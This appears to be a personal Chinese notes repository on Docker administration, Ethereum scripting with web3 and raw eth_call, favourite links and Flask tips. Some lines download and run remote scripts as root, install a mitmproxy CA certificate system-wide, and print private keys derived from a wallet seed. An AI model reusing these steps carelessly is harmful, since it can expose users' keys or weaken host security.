```
docker start <container_name> returns "container <hash> already exists"
```
Google找到了相关issue在[这里](https://github.com/moby/moby/issues/36145)
不删容器重建、不回滚Docker的解决方案为:
```
sudo docker-containerd-ctr --namespace moby --address /run/docker/containerd/docker-containerd.sock c rm `docker inspect --format '{{.Id}}' 无法启动的容器名称`
```
注意需要输入的是那个很长的容器id,所以先用docker inspect获取其长Id
如果docker-containerd-ctr 不存在,也许你使用的是Docker for mac,需要这么操作:
```
docker run -it --rm -v /:/host alpine /host/usr/local/bin/docker-containerd-ctr --namespace moby --address /host/run/docker/containerd/docker-containerd.sock c rm 出错的容器id
```
----
## 解决docker exec -it进入容器屏幕大小不对的问题
发现docker exec -it进入容器的bash后tty的大小不对 只有80x24,参考这个 https://github.com/moby/moby/issues/35407
解决方案:在进入容器时配置环境变量COLUMNS和LINES为正确值即可,为了便于操作与记忆,写~/.bashrc咯:
```
function din(){
docker exec -ti --env COLUMNS=`tput cols` --env LINES=`tput lines` $1 /bin/bash
}
alias din=din
```
使用的时候只需要`din 容器名称`就能进入容器bash啦,这样进入容器vim也能全屏幕显示了
----
## 不使用docker pull也能下载到镜像
!!! warning ""
该脚本存在问题,下载到的镜像层可能无法导入,仍待研究
github上官方有下载脚本: https://github.com/moby/moby/blob/master/contrib/download-frozen-image-v2.sh
使用的时候第一个参数是目录名称,第二个是镜像名称:latest,其中:tag是必须要写的
下述命令下载脚本,替换为从阿里云下载,最后打包成golang.tar (由于下载到的layer的tar包已经是gzip压缩过的 没必要再7zip压缩)
```
wget https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh
sed -i 's/registry-1.docker.io/h0kyslzs.mirror.aliyuncs.com/g' download-frozen-image-v2.sh
sed -i 's/token="$(/token="" #/g' download-frozen-image-v2.sh
chmod +x download-frozen-image-v2.sh
./download-frozen-image-v2.sh /tmp/golang google/golang:latest
tar -vf golang.tar -cC '/tmp/golang' .
```
然后就可以传输golang.tar,导入方法很简单
```
docker load < golang.tar
```
----
## 启动另一个Docker Daemon进程
有时候需要进行build操作,发现根目录剩余空间不够了,但另外一块硬盘还有空间,整体迁移/var/lib/docker或合并两个硬盘为lvm又不现实,这时就可以开启一个新的Docker Daemon,把Docker使用的目录设置为另一块硬盘
参考:http://blog.alpaca.ai/run-multiple-docker-daemons-with-net-container/
docker工作目录假设为/home/cy/docker
第一次执行:
```
OFFSET=0
u="cy"
BRIDGE_NAME=br_${u}
DOCKER_ROOT=/home/${u}/docker
mkdir -p ${DOCKER_ROOT}
brctl addbr ${BRIDGE_NAME}
SUBNET=$(expr 52 + ${OFFSET})
ip addr add 172.18.${SUBNET}.1/24 dev ${BRIDGE_NAME}
ip link set dev ${BRIDGE_NAME} up
iptables -t nat -A POSTROUTING -j MASQUERADE -s 172.18.${SUBNET}.0/24 -d 0.0.0.0/0
```
运行dockerd执行:
```
u="cy"
BRIDGE_NAME=br_${u}
DOCKER_ROOT=/home/${u}/docker
dockerd -D \
-g ${DOCKER_ROOT}/g \
--exec-root=${DOCKER_ROOT}/e \
-b ${BRIDGE_NAME} \
--dns=8.8.8.8 \
--iptables=true \
-H unix://${DOCKER_ROOT}/docker.sock \
-p ${DOCKER_ROOT}/docker.pid
```
----
## 配置使用Docker版本的Gitlab CI
参考文档:
- 官方教程 https://docs.gitlab.com/runner/
- 高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html
人家这东西本质上是一个docker容器,但是把主机的docker sock传入到容器中,所以容器内可以创建容器
我这里的教程着重解决两个问题:使用自定义的镜像,设置DNS
### 第一步当然是pull人家的runner镜像咯
```
docker pull gitlab/gitlab-runner
```
### 第二步 获取CI连接时需要的token
在管理员界面 Overview下Runners点开即可看到
网址: /admin/runners
### 第三步 注册以生成初始的配置信息
参考https://docs.gitlab.com/runner/register/index.html#docker
假设容器配置文件保存在/dockerfiles/gitlabrunner中,其中docker-image是默认跑任务的镜像
```
docker run --rm -t -i -v /dockerfiles/gitlabrunner:/etc/gitlab-runner --dns 10.0.0.1 gitlab/gitlab-runner register --non-interactive \
--url "https://gitlab.com/" \
--registration-token "上一步获得的token" \
--executor "docker" \
--docker-image myubuntu:latest \
--description "docker-runner" \
--run-untagged \
--locked="false"
```
### 第四步 修改配置文件
参考高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html
和 https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work
```
cd /dockerfiles/gitlabrunner #你的配置文件目录
sudo vim config.yml
```
为了跑本地已经存在的镜像(默认为always表示只能跑dockerhub上的),在[runners.docker]中需要添加:
```
pull_policy = "never"
```
或者这里你也可以使用"if-not-present" 不存在就pull
另外 如果需要修改容器DNS,也添加进去即可
```
dns = ["10.0.0.1"]
```
### 第五步 启动runner容器
如果需要改dns,这里也别忘记写上
```
docker run -d --name gitlab-runner --restart always \
-v /dockerfiles/gitlabrunner:/etc/gitlab-runner \
-v /var/run/docker.sock:/var/run/docker.sock \
--dns 10.0.0.1 \
gitlab/gitlab-runner:latest
```
### 第六步 创建一个新的repo来测试一下吧
新建`.gitlab-ci.yml`文件,这里使用自己编译的myubuntu镜像
```
image: myubuntu:latest
test:app:
script:
- echo ok
- curl ip.cn
```
然后在gitlab的仓库页面 最新的一次commit message右侧就有CI成功与否状态的图标 点进去看详细日志咯
----
## 为已经存在的容器创建临时端口映射 socat
@TAG 端口转发
出于学习目的,想快速地建立一下临时的Docker容器端口映射
用socat咯:
```
socat TCP4-LISTEN:9300,fork TCP4:172.17.0.3:9300
```
如果没有socat,可以:
```
docker run -ti --rm --net host bobrik/socat TCP4-LISTEN:9300 TCP4:172.17.0.3:9300
```
----
## 查看所有容器内存占用 并排序
`docker stats`就能看到实时更新的结果,但并没有提供排序功能
```
docker stats --no-stream|sort -h -r -k 4,4
```
排序列对应关系如下:
|列号|列名|
|---|---|
|3|CPU|
|4|内存|
|8|网络流入|
|10|网络流出|
|11|文件写入|
|13|文件读取|
|14|容器内线程数量(PID数)|
----
## 运行中的容器添加目录挂载
Docker自身只允许在创建容器的时候指定-v进行目录挂载,怎么在不停止容器的情况下增加挂载呢?
!!! warning ""
注意此方法在容器重启后即失效,需要重新挂载
参考:https://medium.com/kokster/mount-volumes-into-a-running-container-65a967bee3b5
方法是把块设备挂载到容器中,然后可以使用bind mount
假设容器名称为app_container,需要挂载/dev/sdb1这个设备,命令如下:
Step1: 首先要查看设备id以便在容器中mknod创建设备,然后使用nsenter使用主机的权限挂载设备
Step2: 现在就可以在容器中使用/tmpmount读取到设备了,但如果我们只需要挂载其中一个文件夹 例如设备的data文件夹挂载到容器的/newdata,还可以继续执行:
Step3: 最后清理掉临时挂载的/tmpmount 不会影响bind mount挂载出来的/newdata
```
CONTAINER_NAME="app_container"
DEVICE_NAME="/dev/sdb1"
MOUNT_SRC="data"
MOUNT_TARGET="/newdata"
# Step1
x=$(grep $DEVICE_NAME /proc/self/mountinfo|cut -d ' ' -f 3)
docker exec -it -u root $CONTAINER_NAME sh -c "[ -b $DEVICE_NAME ] || mknod -m 0600 $DEVICE_NAME b ${x/:/ }"
sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "mkdir -p /tmpmount;mount $DEVICE_NAME /tmpmount"
# Step2
sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "mkdir -p $MOUNT_TARGET; mount -o bind /tmpmount/$MOUNT_SRC $MOUNT_TARGET"
# Step3
sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "umount /tmpmount"
```
----
## Docker使用32位镜像
例如ubuntu16.04.5 32位镜像 从这里下载i386后缀的`ubuntu-base-16.04.5-base-i386.tar.gz`:
http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/
下载了之后直接交给docker导入即可:[docker import 文档](https://docs.docker.com/engine/reference/commandline/import/#examples)
```
cat ubuntu-base-16.04.5-base-i386.tar.gz|docker import - ubuntu1604_32bit
```
----
## 找到/var/lib/docker中容器的数据存储目录
使用[docker-backup](https://github.com/vincepare/docker-backup):
```
curl -Lo /usr/local/bin/docker-backup https://raw.githubusercontent.com/vincepare/docker-backup/master/docker-backup.sh && chmod +x /usr/local/bin/docker-backup
docker-backup ls -w container
```
举个例子 Apache容器由于/tmp/httpd_lua_shm.1的存在跑不起来,试试直接删除容器内的这个文件
```
for i in `d ps -a|grep Exit|grep minutes|awk '{print $1}'`; do rm `docker-backup ls -w $i`/tmp/httpd_lua_shm.1; d start $i ; done
```
------
## 搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络
需求:服务器机房搬迁,从10.214.10.x变为10.214.160.x,配置的macvlan容器就不能访问了
Docker没有提供修改网络配置的方法,我们就直接改Docker的数据库和配置文件呗
不这样直接改底层文件也是可以的,需要先disconnect旧的macvlan所有容器,然后删掉重建这个network,再一个个加回来
网络配置的数据库在`/var/lib/docker/network/files/local-kv.db`,本质上是boltdb,需要使用docker的[libkv](https://github.com/docker/libkv)来进行访问
注意到ip前缀的长度发生了变化,直接sed是不行的,会损坏数据库(如果长度没变可以直接sed),操作前记得备份
参考 https://blog.qiqitori.com/?p=463
加以修改,需要在`docker pull golang:1.8`中编译运行
```
package main
import (
"time"
"log"
"strings"
"github.com/docker/libkv"
"github.com/docker/libkv/store"
"github.com/docker/libkv/store/boltdb"
)
func init() {
// Register boltdb store to libkv
boltdb.Register()
}
func main() {
client := "./local-kv.db" // ./ appears to be necessary
// Initialize a new store
kv, err := libkv.NewStore(
store.BOLTDB, // or "boltdb"
[]string{client},
&store.Config{
Bucket: "libnetwork",
ConnectionTimeout: 10*time.Second,
},
)
if err != nil {
log.Fatalf("Cannot create store: %v", err)
}
pair, err := kv.List("docker/network")
for _, p := range pair {
println("key:", string(p.Key))
val := strings.Replace(string(p.Value), "10.214.10.", "10.214.160.", -1)
println("value:", val)
err = kv.Put(p.Key, []byte(val), nil)
}
}
```
其中需要注意golang1.8的strings没有ReplaceAll方法;string转bytes数组用`[]byte(...)`即可;`println`不是fmt库的,是往stderr输出的
除了网络数据库还需要修改容器的.json配置文件:`/var/lib/docker/containers/*/*.json`
```
sed -i 's/10.214.10./10.214.160./g' /var/lib/docker/containers/*/*.json
```
然后就能启动docker了,如果有容器的当前ip已经被其他设备占用,可以通过脱离网络再加入来修改ip
```
docker network disconnect macvlan_name container_name
docker network connect macvlan_name container_name --ip 新的ip
```
如果新的ip还是ping不了,试试重启容器
## 获取2个月前退出的容器列表,以空格分隔
```
docker ps -a --format '{{.Names}} {{.Status}}'|grep "2 month"|awk '{print $1}'|tr '\r\n' ' '
```
## 容器内没有ping, ip?直接nsenter进去看看
```
netin(){
nsenter --target `docker inspect --format '{{.State.Pid}}' $1` --net --pid /bin/bash
}
```
这是进入docker容器的namespace,但只切换网络和/proc,文件系统等还是使用主机的
进入后bash似乎没变,这时可以ps看看进程列表变了就说明在容器里面了,然后可以愉快地ifconfig和ping了
也可以使用ip命令指定netns的方式`ip netns exec 名称 命令`
```
#!/bin/bash
NAME="container name"
mkdir -p /var/run/netns
ID=`docker inspect --format='{{ .State.Pid }}' $NAME`
sudo ln -sf "/proc/$ID/ns/net" /var/run/netns/$NAME
exec sudo ip netns exec $NAME "$@"
```
## 为macvlan的容器配置只允许IP段访问
将容器暴露在整个内网还是不够安全,不如使用iptables只允许特定IP段访问这个容器的IP
按上述操作之后,假设容器名称为name,那么我们可以先建立一个alias来快速iptables:
参考: https://unix.stackexchange.com/questions/11851/iptables-allow-certain-ips-and-block-all-other-connection
```
alias i="sudo ip netns exec name iptables"
i -P FORWARD DROP # we aren't a router
i -A INPUT -m state --state INVALID -j DROP
i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
i -A INPUT -i lo -j ACCEPT
i -A INPUT -s 10.0.0.1/24 -j ACCEPT
i -A INPUT -s 172.19.0.1/24 -j ACCEPT
i -P INPUT DROP # Drop everything we don't accept
```
效果就是只有内网10.0.0.1-10.0.0.254的ip才能访问这个容器的IP,其他来源都不能ping通这个容器
下面的bash脚本会自动对容器的所有IP段允许访问,并拒绝其他访问:
其中的docker inspect命令可以获取容器拥有的所有IP
```
#!/bin/bash
set -ex
DOCKERNAME="xxx"
NAME="xx"
shopt -s expand_aliases
sudo mkdir -p /var/run/netns
ID=`docker inspect --format='{{ .State.Pid }}' ${DOCKERNAME}`
sudo ln -sf "/proc/$ID/ns/net" /var/run/netns/${NAME}
alias i="sudo ip netns exec ${NAME} iptables"
i -F
i -P FORWARD DROP # we aren't a router
i -A INPUT -m state --state INVALID -j DROP
i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
i -A INPUT -i lo -j ACCEPT
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{"\n"}}{{end}}' ${DOCKERNAME}|xargs -i sudo ip netns exec ${NAME} iptables -A INPUT -s '{}/24' -j ACCEPT
i -P INPUT DROP # Drop everything we don't accept
```
## 从/var/lib/docker提取容器开始时间
读取/var/lib/docker/containers/*/config.v2.json可以读到容器开始时间
但使用同一个文件夹下hostname这个文件的时间戳更可靠,无需考虑时区换算不同服务器时间不同步等问题。计算文件产生的相对时间用os.path.getmtime(这个文件)减去这个时间戳即可。
导入到mysql 完整代码: 执行的时候需要server name作为参数
```
from bugid import runsql
import os,sys,glob,json
import datetime
import re
server = sys.argv[1]
os.chdir("/var/lib/docker/containers")
sql = "replace into dockers(server, name, id, starttime, runningtime, memlimit) values "
sqlpending = []
t = 0
for i in glob.glob("*/"):
if not os.path.exists(i+"hostname"):
#print(i)
continue
data = json.loads(open(i+"config.v2.json").read())
name = data["Name"]
starttime = data["State"]["StartedAt"]
endtime = data["State"]["FinishedAt"]
if endtime != "0001-01-01T00:00:00Z":
runningtime = (datetime.datetime.strptime(endtime.split(".")[0], "%Y-%m-%dT%H:%M:%S") - datetime.datetime.strptime(starttime.split(".")[0], "%Y-%m-%dT%H:%M:%S")).total_seconds()
else:
runningtime = -1
memlimit = int(json.load(open(i+"hostconfig.json"))["Memory"]/1024/1024)
sqlpending.extend([server, name[1:], i[:-1], int(os.path.getmtime(i+"hostname")), runningtime, memlimit])
sql += "(%s, %s, %s, %s, %s, %s),"
#print(sqlpending)
runsql(sql[:-1], *sqlpending)
```
## 固定容器的IP
参考: https://github.com/johnnian/Blog/issues/16
默认的bridge网络不支持指定ip,需要再创建一个网络:
```
docker network create --subnet=172.18.0.0/16 b
```
创建容器的时候可以`--network b --ip 172.18.0.2`
已经存在的容器需要用:
```
docker network connect --ip 172.18.0.2 --alias ${name} b ${name}
```
不想改动docker的network还有个临时的办法:
## 获取容器IP 更新主机/etc/hosts
需要先将当前的hosts文件复制为/etc/hosts.base
其中bridge可能需要改成docker inspect输出的其他network名称
```
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
cp /etc/hosts.base /etc/hosts
echo `docker inspect ${name} --format '{{.NetworkSettings.Networks.bridge.IPAddress}}'` ${name} >> /etc/hosts
```
另外 你还可以启动个dns服务的容器来解析容器hostname:
https://stackoverflow.com/questions/37242217/access-docker-container-from-host-using-containers-name/45071126#45071126
-----
## Docker容器禁止主动联网 但对外提供web服务
@TAG 端口映射 ctf
首先排除`--network none`,这样没有网卡怎么做端口映射
下面假设容器名称为`${CONTAINER}`,容器启动的http服务端口为5000
### 简单方案 直接删除默认路由
```
nsenter --target `docker inspect --format '{{.State.Pid}}' ${CONTAINER}` --net --pid route delete default
```
好处在于访问网络的请求能迅速报错`Network is unreachable`,也不需要额外的容器参数配置
但容器每次重启都需要重新执行
### 复杂方案 创建个内部网络 Nginx转发
docker的创建网络提供了`--internal`参数,意思是不允许这个网络访问外界,但是访问网络的请求不会立刻返回,效果像是一直丢包就没响应
这里我们创建一个名为`${CONTAINER}_nonet`的网络,启动容器的时候指定这个网络并配置别名app
然后还需要Nginx容器同时加入默认网络和这个网络来进行转发,Nginx容器一开始创建后的启动会报错反复重启(无法解析app),加入网络后即可正常启动
```
docker network create ${CONTAINER}_nonet --internal
docker run --network ${CONTAINER}_nonet --network-alias app ...
docker run --name ${CONTAINER}_nginx -d -v `pwd`/nginxconf:/etc/nginx/conf.d -p 20528:80 --restart=always nginx
docker network connect ${CONTAINER}_nonet ${CONTAINER}_nginx --alias nginx
```
其中nginxconf文件夹里放一个default.conf:
```
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://app:5000;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
```
既然用了反向代理,应用层也需要配置一下IP相关的修复才能使日志显示访问者ip(而不是Nginx容器的IP),比如Flask 1.0需要:
```
from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)
```
这个方案有点复杂,但好处在于重启容器不需要额外配置,反正连不上网
坏处在于访问网络的请求会一直卡住,应用层需要自己考虑超时
你可以把这两种方案结合起来,即使忘了删默认路由也能保证不能联网
## 私有registry的api
文档: https://docs.docker.com/registry/spec/api/
列出所有镜像: `/v2/_catalog`
列出指定镜像的所有标签: `/v2/<name>/tags/list`
------
## 配置docker pull使用代理
官方文档: [https://docs.docker.com/config/daemon/systemd/#httphttps-proxy](https://docs.docker.com/config/daemon/systemd/#httphttps-proxy)
```
mkdir -p /etc/systemd/system/docker.service.d
vi /etc/systemd/system/docker.service.d/http-proxy.conf
systemctl daemon-reload
systemctl restart docker
systemctl show --property=Environment docker
```
```
[Service]
Environment="HTTP_PROXY=http://proxy.example.com:80"
Environment="HTTPS_PROXY=https://proxy.example.com:443"
Environment="NO_PROXY=localhost,127.0.0.1,docker-registry.example.com,.corp"
```
-----
## 配置docker daemon退出时不自动关闭容器
参考: [https://docs.docker.com/config/containers/live-restore/](https://docs.docker.com/config/containers/live-restore/)
```
# vi /etc/docker/daemon.json
{
"live-restore": true
}
# systemctl reload docker
```
## 使用mitmproxy观察docker pull流量
```
wget https://downloads.mitmproxy.org/10.4.2/mitmproxy-10.4.2-linux-x86_64.tar.gz
tar xvf mitmproxy-10.4.2-linux-x86_64.tar.gz
./mitmweb -p 8441 --no-web-open-browser --web-port 18441 --web-host 0.0.0.0 --set block_global=false
cp ~/.mitmproxy/mitmproxy-ca-cert.cer /usr/share/ca-certificates/extra
echo "extra/mitmproxy-ca-cert.cer" >> /etc/ca-certificates.conf
update-ca-certificates
vi /etc/systemd/system/docker.service.d/http-proxy.conf
systemctl daemon-reload
systemctl restart docker
```
`http-proxy.conf` 文件内容
```
[Service]
Environment="HTTP_PROXY=http://127.0.0.1:8441"
Environment="HTTPS_PROXY=http://127.0.0.1:8441"
```
然后打开 `http://IP:18441` , 执行 docker pull 命令即可
================================================
FILE: ETH.md
================================================
## ETH
学习一下以太坊,目前可以在区块链上刻字了,每个交易可以存储30K的内容
## 获取测试网络ropsten的ETH
目前的faucet列表,不过有可能他们工作在fork上,获得的eth不能在etherscan上看到
> 近期以太坊Ropsten测试网的Istanbul升级由于大部分算力没有升级节点软件,实际上已经发生了分叉
- https://faucet.ropsten.be
- https://faucet.metamask.io
- http://faucet.bitfwd.xyz
## 生成一堆与MetaMask兼容的地址
MetaMask等钱包的工作原理是从一串seed phrase生成一系列私钥
使用[lightwallet](https://github.com/ConsenSys/eth-lightwallet)这个npm包来生成MetaMask兼容的1000个地址
```
# 需要使用版本2,更新的版本修改了API需要提供salt
$ npm install eth-lightwallet@2.5.6
# 修改node_modules\_bitcore-lib@8.14.4@bitcore-lib\index.js添加一个return
# bitcore.versionGuard = function(version) {return;
var lightwallet = require("eth-lightwallet");
var secretSeed = 从metamask复制
var password = 随意设置一个密码,在内存中存储的是使用这个密码加密后的私钥
var hdPathString = "m/44'/60'/0'/0";
var ks;
lightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) {
ks = new lightwallet.keystore(secretSeed, pwDerivedKey, hdPathString);
//console.log(ks);
ks.generateNewAddress(pwDerivedKey, 1000, hdPathString);
for(var i of ks.getAddresses(hdPathString)){
console.log(i, ks.exportPrivateKey(i, pwDerivedKey, hdPathString));
}
})
```
## Python发起交易(Web3.py)
pip3 install web3,需要python3.7 ([在Ubuntu16.04上安装Python 3.7](https://py3.io/Python/#ubuntu1604python37))
在infura.io注册,得到一个project id,设置为环境变量WEB3_INFURA_PROJECT_ID
```
import os
os.environ["WEB3_INFURA_PROJECT_ID"]="从infura.io复制"
from web3.auto.infura.ropsten import w3
from base64 import b16encode
def senddata(privatekey, data, to=None, nonce=None):
addr = w3.eth.account.privateKeyToAccount(privatekey).address
if not to:
to = addr
if not to.startswith("0x"):
to = "0x"+to
if len(data)>30*1024:
raise Exception("data too big")
if nonce is None:
nonce=w3.eth.getTransactionCount(addr)
tx=dict(nonce=nonce, gasPrice=2000000000, gas=5940000, to=to, value=0, data=data)
stx=w3.eth.account.sign_transaction(tx, privatekey)
return b16encode(w3.eth.sendRawTransaction(stx.rawTransaction)).decode().lower()
```
## 地址交易查询API
注意etherscan.io使用了cloudflare,必须设置一个User-Agent才能调用
目前还不需要apikey就能直接调用
```
import requests
def gettx(addr):
return requests.get("https://api-ropsten.etherscan.io/api?module=account&action=txlist&address="+addr+"&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken", headers={"User-Agent":"ethquery"}).json()["result"]
```
返回的数组可能每个交易都重复了两次,需要去重:
```
seenhash = []
for tx in gettx(addr):
if len(tx["input"])>2 and tx["hash"] not in seenhash:
# 处理tx["input"]
seenhash.append(tx["hash"])
```
## 时间戳转block id
有些时候我们需要知道特定时间点的区块高度,来查询当时的合约数据
不依赖etherscan的方法可以按照当前区块高度、已经流逝的时间和[出块速度](https://etherscan.io/chart/blocktime)进行计算,算出来的blockid再调用web3 API查询timestamp再次计算,直到误差小于阈值即可
etherscan提供了这个API: https://etherscan.io/apis#blocks
```
cache={}
apikey=""
def timestamp2blockid(ts, retry=3):
cachekey = "timestamp2blockid_"+str(ts)
if cachekey in cache:
#print("cache used")
return cache[cachekey]
x = sess.get("https://api.etherscan.io/api?module=block&action=getblocknobytime×tamp="+str(ts)+"&closest=before&apikey="+apikey)
#print(x.json())
if 'result' not in x.json():
if retry:
print("[retry] timestamp2blockid", ts)
return timestamp2blockid(ts, retry=retry-1)
else:
print(x.json())
res = x.json()["result"]
cache[cachekey] = res
return res
```
## 根据函数名调用合约
标记了view的函数可以直接在etherscan读取合约调用,但有些函数不会涉及写操作,我们也可以自己调用而不用发起链上交易(即使交易也拿不到返回值)
首先我们需要了解eth_call的data 前4个字节就是函数签名的哈希,哈希算法是keccak_sha3取前4个字节
这东西叫做ABI, 文档: [https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html](https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html)
例如balanceOf函数只接受一个地址作为参数,它的签名就是`balanceOf(address)`,哈希是`70a08231`,你可以观察metamask后台发送的流量就可以确认这一点
使用Python不依赖web3计算这个哈希: 你可能需要`python3 -m pip install pycryptodome`
```
from Crypto.Hash import keccak
def function_hash(func_str):
return keccak.new(digest_bits=256).update(func_str.encode("utf-8")).hexdigest()[:8]
```
有了函数哈希后 再拼接函数调用参数就能发起eth_call了,比如我们需要把地址在左边补0补齐到64字节(也就是256bit)
```
import requests
sess = requests.session()
sess.headers.update({"Content-Type":"application/json"})
WEB3_ENDPOINT = "" #change to your infura.io project url
def addrtoarg(addr):
return addr.lower().rjust(64, "0")
cache={}
def callfunction(addr, func_str, args_str, blockid, returnint=True, usecache=False):
cachekey = "_".join(("callfunction", addr, func_str, args_str, str(blockid)))
try:
height = hex(int(blockid))
except:
height = blockid
if usecache and cachekey in cache and blockid!="latest":
res = cache[cachekey]
else:
data = {
"id":1, "jsonrpc":"2.0",
"method":"eth_call",
"params":[{"data": "0x"+function_hash(func_str)+args_str, "to": addr,}, height]
}
x = sess.post(WEB3_ENDPOINT, json=data)
print(x.json())
res = x.json()["result"]
if usecache:
cache[cachekey] = res
if not returnint:
return res
else:
return int(res, 16)
```
其中WEB3_ENDPOINT可以是infura自己注册一个APIKEY后得到的地址
要获取最新的数据还需要知道当前的区块高度:
```
def eth_blockNumber():
return int(sess.post(WEB3_ENDPOINT, data='{"id":1,"jsonrpc":"2.0","method":"eth_blockNumber","params":[]}').json()["result"], 16)
```
调用很简单:`mybalance = callfunction(contract_address, "balanceOfUnderlying(address)", addrtoarg(my_address), eth_blockNumber())`
### 更复杂的参数类型
对于string这种可变长度类型,还是使用python包`eth-abi`吧,例如:
NFT-Hero里随机数用的blockhashMgr到底是什么合约呢:
https://github.com/nfthero/SuperHero/blob/c87346f36efb09667ad8f0eeaf8df04a710bbecd/Package.sol#L87
就想要查询一下members这个字典,其类型是`mapping(string => address) public members`,也就意味着可以调用`members(string)`这个函数进行查询:
```
>>> callfunction("https://http-mainnet-node.huobichain.com/", "0x42C1aC2AeAEc52E1cc9dC8057b089FA91fa84FC7", "members(string)", base64.b16encode(eth_abi.encode_abi(["string"], ["blockhashMgr"])).decode().lower(), "latest", False)
'0x0000000000000000000000003e259bfe720093abb26a2c3fe57670259b2ebea2'
```
-----
## 实例:获取Cake持仓价值
!!! warning 风险警示
本文不作为投资建议,本项目合约代码2020/11/05也出过[漏洞导致挖矿奖励代币超发](https://www.cailu.net/article/13144343855663958.html)
币安智能链上有个抄了Uniswap的[pancakeswap](https://pancakeswap.finance/pools), 网页上当前(2021/01/06)显示质押CAKE的年化228%,那当然是尝试一下咯,于是自然有了需求:计算自己持仓CAKE的实时价值,持仓包含质押奖励的部分
那么实现这个需求就需要解决两个问题:如何获取自己的CAKE奖励数量,如何获取CAKE的价格信息
第一个问题好解决,按照上面调用合约即可,合约调用需要两个参数,即使不知道函数选择器和函数参数怎么写,也可以让etherscan来帮我们调用[合约](https://bscscan.com/address/0x73feaa1ee314f8c655e354234017be2193c9e24e#readContract) 看流量即可
```
WEB3_ENDPOINT='https://bsc-dataseed.binance.org/'
callfunction(contract_address, "pendingCake(uint256,address)", "0"*64+addrtoarg(my_address), "latest", usecache=False)/10**18
```
第二个问题:获取CAKE的价值 可以在[pancakeswap.info的token页面](https://pancakeswap.info/token/0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82)看到 当前CAKE的价值显示为$0.64
通过仔细翻流量+F12看前端js+学GraphQL的写法,发现这个图查询可以一次返回两个内容:
[https://api.bscgraph.org/subgraphs/name/wowswap/graphql](https://api.bscgraph.org/subgraphs/name/wowswap/graphql)
```
{
tokens(where: {id: "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82"}) {
id
name
symbol
derivedETH
tradeVolume
tradeVolumeUSD
untrackedVolumeUSD
totalLiquidity
txCount
__typename
}
bundles(where: {id: 1}) {
id
ethPrice
__typename
}
}
```
查询到:
```
{
"data": {
"bundles": [
{
"__typename": "Bundle",
"ethPrice": "40.4164616943543110107673755202366",
"id": "1"
}
],
"tokens": [
{
"__typename": "Token",
"derivedETH": "0.01577253120396104706816941010842497",
"id": "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82",
"name": "PancakeSwap Token",
"symbol": "Cake",
"totalLiquidity": "17457173.064252540875767782",
"tradeVolume": "529331425.317628506590140745",
"tradeVolumeUSD": "270335080.4687124727090581348114777",
"txCount": "659265",
"untrackedVolumeUSD": "331587403.3835248774831009549837749"
}
]
}
}
```
将其中的`ethPrice`(实际上是BNB的价格)和`derivedETH`乘起来就是我们需要的价格了,算出来是`$0.6375`
通用一点还需要调用合约`userInfo(uint256,address)`查询自己的持仓,最后合在一起:
```
(自己的持仓+pendingpendingCake)*derivedETH*ethPrice
```
-----
## erigon 导出所有合约地址
这样来导出codehash表:
```
/tank/erigon/build/bin/mdbx_dump -s PlainCodeHash /tank/eth/chaindata/ | gzip > plaincodehash.txt.gz
```
然后这样处理得到根据codehash去重后的地址列表:
```
import gzip
oldaddr=None
codehash=None
seen=set()
for line in gzip.open("plaincodehash.txt.gz", "rt"):
if len(line)==58:
addr = line[1:41]
if addr!=oldaddr:
if oldaddr and codehash not in seen:
seen.add(codehash)
print(oldaddr)
oldaddr=addr
elif len(line)==66:
codehash = line[1:65]
if codehash not in seen:
print(oldaddr)
```
================================================
FILE: Favorites.md
================================================
# Favorites 收藏
收藏一些有用的资料咯~
[Intel i386 手册](http://microsym.com/editor/assets/386intel.pdf)
[i386 手册勘误](https://nju-ics.gitbooks.io/ics2015-programming-assignment/content/i386-typo.html)
[字符签名生成](http://www.kammerl.de/ascii/AsciiSignature.php)
例如lean字体:
```
_/_/ _/_/ _/_/
_/ _/ _/ _/ _/ _/
_/_/_/_/ _/_/_/_/ _/_/_/_/
_/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/
```
[解释Shell命令每个参数](http://www.explainshell.com/)
[安全会议的排名](http://faculty.cs.tamu.edu/guofei/sec_conf_stat.htm)
[建议读的论文](https://d.py3.io/Recommend%2Bpapers.docx)
[Git Emoji](https://www.webpagefx.com/tools/emoji-cheat-sheet/)
[Math 识别手写公式 画函数图像](https://webdemo.myscript.com/views/math.html)
[安全文摘 每天看看](http://wiki.ioin.in/)
[网站配色](https://www.webdesignrankings.com/resources/lolcolors/)
================================================
FILE: Flask.md
================================================
# Flask 备忘
常用的一些操作,自己总结的,便于查阅
## 应用根目录APP_ROOT
```
APP_ROOT = os.path.dirname(os.path.abspath(__file__))
```
## app.route里的int和POST
```
@app.route("/list/<int:boardid>")
@app.route("/receive_post", methods=["POST"])
post_param = int(request.form.get("post_param","0"))
# get参数用request.args
```
## render_template引入所有全局变量+局部变量
```
str = str
len = len
int = int
@app.route("/")
def index():
# ... some logic code
targs = globals()
targs.update(locals())
return render_template("template.html", **targs)
```
## 添加多个静态目录
```
